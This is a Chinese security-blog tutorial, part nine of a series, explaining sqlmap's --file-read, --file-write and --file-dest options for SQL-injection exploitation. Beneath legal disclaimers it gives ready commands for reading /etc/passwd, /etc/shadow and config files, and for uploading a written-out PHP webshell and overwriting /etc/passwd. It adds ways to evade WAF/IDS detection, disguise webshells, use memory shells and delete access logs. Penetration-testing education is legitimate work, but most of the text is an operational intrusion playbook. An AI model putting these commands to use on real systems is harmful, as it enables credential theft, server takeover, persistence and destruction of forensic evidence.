Sqlmap全参数讲解之第九篇

admin 2025年6月10日08:29:38评论6 views字数 4116阅读13分43秒阅读模式

免责声明

本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!

File system access:访问文件系统

  • --file-read:用于从数据库服务器文件系统读取文件的核心参数,适用于具备文件读取权限的 SQL 注入场景
    • 🔍文件读取机制:当目标数据库用户具备 DBA 权限(通过 --is-dba 验证)且数据库类型支持文件操作(如 MySQL、PostgreSQL、SQL Server)时,此参数可直接读取服务器文件系统上的指定文件
    • 💡典型用途:
      • 读取敏感配置文件(如 /etc/passwd、web.config)
      • 获取数据库备份文件(.sql、.bak)或日志文件
    • 📌依赖条件:
      • 高权限账户:需通过 --is-dba 确认当前用户为管理员权限
      • 绝对路径已知:必须提供目标文件的完整物理路径(如 Linux 的 /var/www/config.ini 或 Windows 的 C:Windowssystem.ini)
    • 典型用法:
      • 基础语法:sqlmap -u <目标URL> --file-read=<文件绝对路径> [其他参数]
Sqlmap全参数讲解之第九篇
      • 常用场景与命令:

场景

命令示例

作用

读取 Linux 系统文件

sqlmap -u "http://1.1.1.1/vuln?id=1" --file-read="/etc/passwd"

获取用户账户信息

读取 Web 配置文件

sqlmap -u <URL> --file-read="/var/www/html/config.php"

提取数据库连接凭证

结合代理隐匿流量

sqlmap -u <URL> --file-read="/etc/shadow" --proxy="http://127.0.0.1:8080"

通过 BurpSuite 代理避免触发 WAF

    • 注意事项:
      • 权限与依赖:
        • 仅限特定数据库:MySQL、PostgreSQL、SQL Server 支持;Oracle 需结合 UTL_FILE 包
        • 路径准确性:路径错误会导致读取失败(可通过错误回显推测路径)
      • 隐蔽性与风险:
        • 易触发告警:高频文件读取易被安全设备记录,需添加 --delay=2 或 --time-sec=10 降低请求频率
        • 法律合规性:未授权读取服务器文件违反《网络安全法》,仅限授权测试环境使用
      • 替代方案:
        • 若支持系统表查询,优先通过 SQL 语句读取(如 MySQL 的 LOAD_FILE())
        • 对无文件读取权限的场景,尝试 --os-shell 执行系统命令间接获取文件内容
    • 💎 总结:
      • 分阶段操作:
        • 预检权限:先执行 --is-dba 和 --privileges 确认权限
        • 路径爆破:结合 --common-files 预置字典猜测常见路径(如 Apache 默认路径)
      • 结果验证:
        • 通过 --sql-query="SELECT LOAD_FILE('/path')" 验证文件可读性
        • 若读取二进制文件,使用 hexdump 解析输出
      • 扩展应用:
        • 文件下载:成功读取后,用 --file-dest 指定本地保存路径
        • 提权利用:读取 /etc/shadow 后尝试破解哈希,或读取 SSH 密钥
      • ⚠️法律声明:该参数可直接访问服务器文件系统,未授权使用构成违法行为
  • --file-write :用于将本地文件上传至目标服务器文件系统的高级参数,通常与 --file-dest 配合使用,适用于具备文件写入权限的 SQL 注入场景(如 MySQL、PostgreSQL 等)
    • 🔍核心作用:
      • 文件上传:将本地文件通过 SQL 注入漏洞写入目标服务器指定路径,常用于上传 WebShell(如 <?php system($_GET['cmd']);?>)或配置文件
      • 依赖权限:
        • 数据库用户需具备 FILE 权限(通过 --is-dba 验证为管理员)
        • 目标路径需可写(如 Web 根目录 /var/www/html/)
      • 适用数据库:MySQL、PostgreSQL、MSSQL(需开启 xp_cmdshell)
    • 💡典型场景:
      • 植入 WebShell:上传 PHP 木马获取服务器控制权
      • 修改配置文件:覆盖 config.php 添加后门
      • 数据库备份恢复:上传 .sql 备份文件并执行
    • 典型用法:
      • 基础语法:sqlmap -u <目标URL> --file-write <本地文件路径> --file-dest <服务器目标路径> [其他参数]
Sqlmap全参数讲解之第九篇
Sqlmap全参数讲解之第九篇
      • 关键参数说明:

参数

作用

示例

--file-write

指定本地待上传文件路径(需绝对路径)

--file-write "/home/kali/shell.php"

--file-dest

指定目标服务器写入路径(需绝对路径)

--file-dest "/var/www/html/shell.php"

    • 常见问题:
      • 写入失败:空文件或权限不足
        • 原因:目标目录不可写、数据库安全策略限制(如 secure_file_priv 限制路径)
        • 解决:
          • 检查 MySQL 配置:SHOW VARIABLES LIKE 'secure_file_priv';,若为 NULL 则需修改 my.cnf
          • 改用 Web 目录(如 /tmp/ 可能受限,优先选 Web 根目录)
      • WAF/IDS 拦截
        • 绕过方案:
          • 使用 --tamper 脚本编码 payload(如 base64encode.py)
          • 添加延迟:--delay=2 降低请求频率
      • 路径错误导致失败
        • 定位路径:
          • 通过 --os-cmd "find / -name 'index.php'" 搜索 Web 根目录
          • 利用报错信息(如 Apache 错误日志路径)
    • 💎总结:
      • 优先选择 --os-shell:若目标支持直接命令执行(如 MSSQL 的 xp_cmdshell),优先使用
      • 安全合规性:
        • ⚠️法律风险:未授权上传文件违反《网络安全法》第 285 条,仅限授权测试环境使用
        • 痕迹清理:操作后调用 --sql-query="DELETE FROM access_log" 删除日志
      • 组合技巧:读取+修改+回写
sqlmap --file-read "/etc/passwd" --output-dir="/tmp"  # 下载文件     vi /tmp/passwd                                        # 本地修改     sqlmap --file-write "/tmp/passwd" --file-dest "/etc/passwd"  # 回写
      • 流程:
Sqlmap全参数讲解之第九篇
  • --file-dest:用于指定目标服务器文件写入路径的关键参数,需与 --file-write 配合使用,实现将本地文件上传至数据库服务器文件系统
    • 🔍文件写入机制:当目标数据库用户具备 DBA 权限(通过 --is-dba 验证)且数据库类型支持文件操作(如 MySQL、PostgreSQL、SQL Server)时,可通过此参数将本地文件写入服务器指定路径
    • 💡典型用途:
      • 上传 WebShell(如一句话木马)至 Web 目录,获取服务器控制权
      • 替换配置文件或日志文件,实现权限维持或数据篡改
    • 📌依赖条件:
      • 高权限账户:需通过 --is-dba 确认当前用户为管理员权限
      • 绝对路径已知:必须提供目标文件的完整物理路径(如 /var/www/html/shell.php 或 C:inetpubwwwrootshell.aspx)
      • 目录可写:目标路径需对数据库进程可写(如 MySQL 的 secure_file_priv 设置为空或目标路径)
    • 典型用法:
      • 基础语法:sqlmap -u <目标URL> --file-write=<本地文件路径> --file-dest=<目标服务器绝对路径>
      • 典型场景示例:

场景

命令示例

作用

上传 WebShell 至 Linux 服务器

sqlmap -u "http://1.1.1.1/vuln.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

将本地shell.php写入 Web 目录

上传后门至 Windows 服务器

sqlmap -u <URL> --file-write="cmd.aspx" --file-dest="C:inetpubwwwrootcmd.aspx"

上传 ASPX 木马至 IIS 根目录

结合代理隐匿操作

sqlmap -u <URL> --file-write="backdoor.txt" --file-dest="/tmp/bd.txt" --proxy="http://127.0.0.1:8080"

通过 BurpSuite 代理绕过 WAF/IDS 检测

    • 常见问题:
      • 写入失败(空文件):
        • 原因:路径错误、权限不足、secure_file_priv 限制或安全机制(如 SELinux)拦截
        • 解决:
          • 使用 --sql-query 验证路径可写性(如 SELECT @@secure_file_priv)
          • 尝试临时关闭安全策略(如 AppArmor)或调整目录权限
      • 路径猜解困难:
        • 方法
          • 结合 --common-files 预置字典爆破常见路径(如 /var/www、C:inetpub)
          • 通过报错信息回显推测路径(如 MySQL 的 ERROR 1 (HY000))
      • 替代方案:
        • 若仅需执行命令 → 使用 --os-cmd 避免文件上传
        • 对无写权限场景 → 尝试 --os-shell 调用系统命令间接写入文件
    • 💎 总结:
      • 隐蔽性优化:
        • 流量混淆:添加 --delay=2 降低请求频率,或使用 --tamper 脚本(如 space2comment.py)绕过 WAF
        • 文件伪装:将 WebShell 嵌入图片等非可疑文件,避免被静态检测
      • 权限维持与清理:
        • 上传后门后,立即通过 --sql-query="DROP FUNCTION IF EXISTS 函数名" 清理残留 UDF 函数
        • 使用内存马(如 PHP 的 memfile)避免留下文件痕迹
      • 法律与合规警示:
        • 未经授权使用 --file-dest 上传文件违反《网络安全法》及《刑法》第 285 条(非法侵入计算机信息系统罪)
        • 仅限授权测试环境使用,实战中需严格遵守渗透测试授权范围
      • 操作流程:
        • 权限验证 → sqlmap -u <URL> --is-dba
        • 路径确认 → sqlmap -u <URL> --sql-query="SELECT @@secure_file_priv"
        • 文件上传 → sqlmap -u <URL> --file-write=本地路径 --file-dest=目标绝对路径
        • 结果验证 → 访问目标文件或执行 --sql-query 确认内容完整性

原文始发于微信公众号(一个努力的学渣):Sqlmap全参数讲解之第九篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月10日08:29:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Sqlmap全参数讲解之第九篇https://cn-sec.com/archives/4148164.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息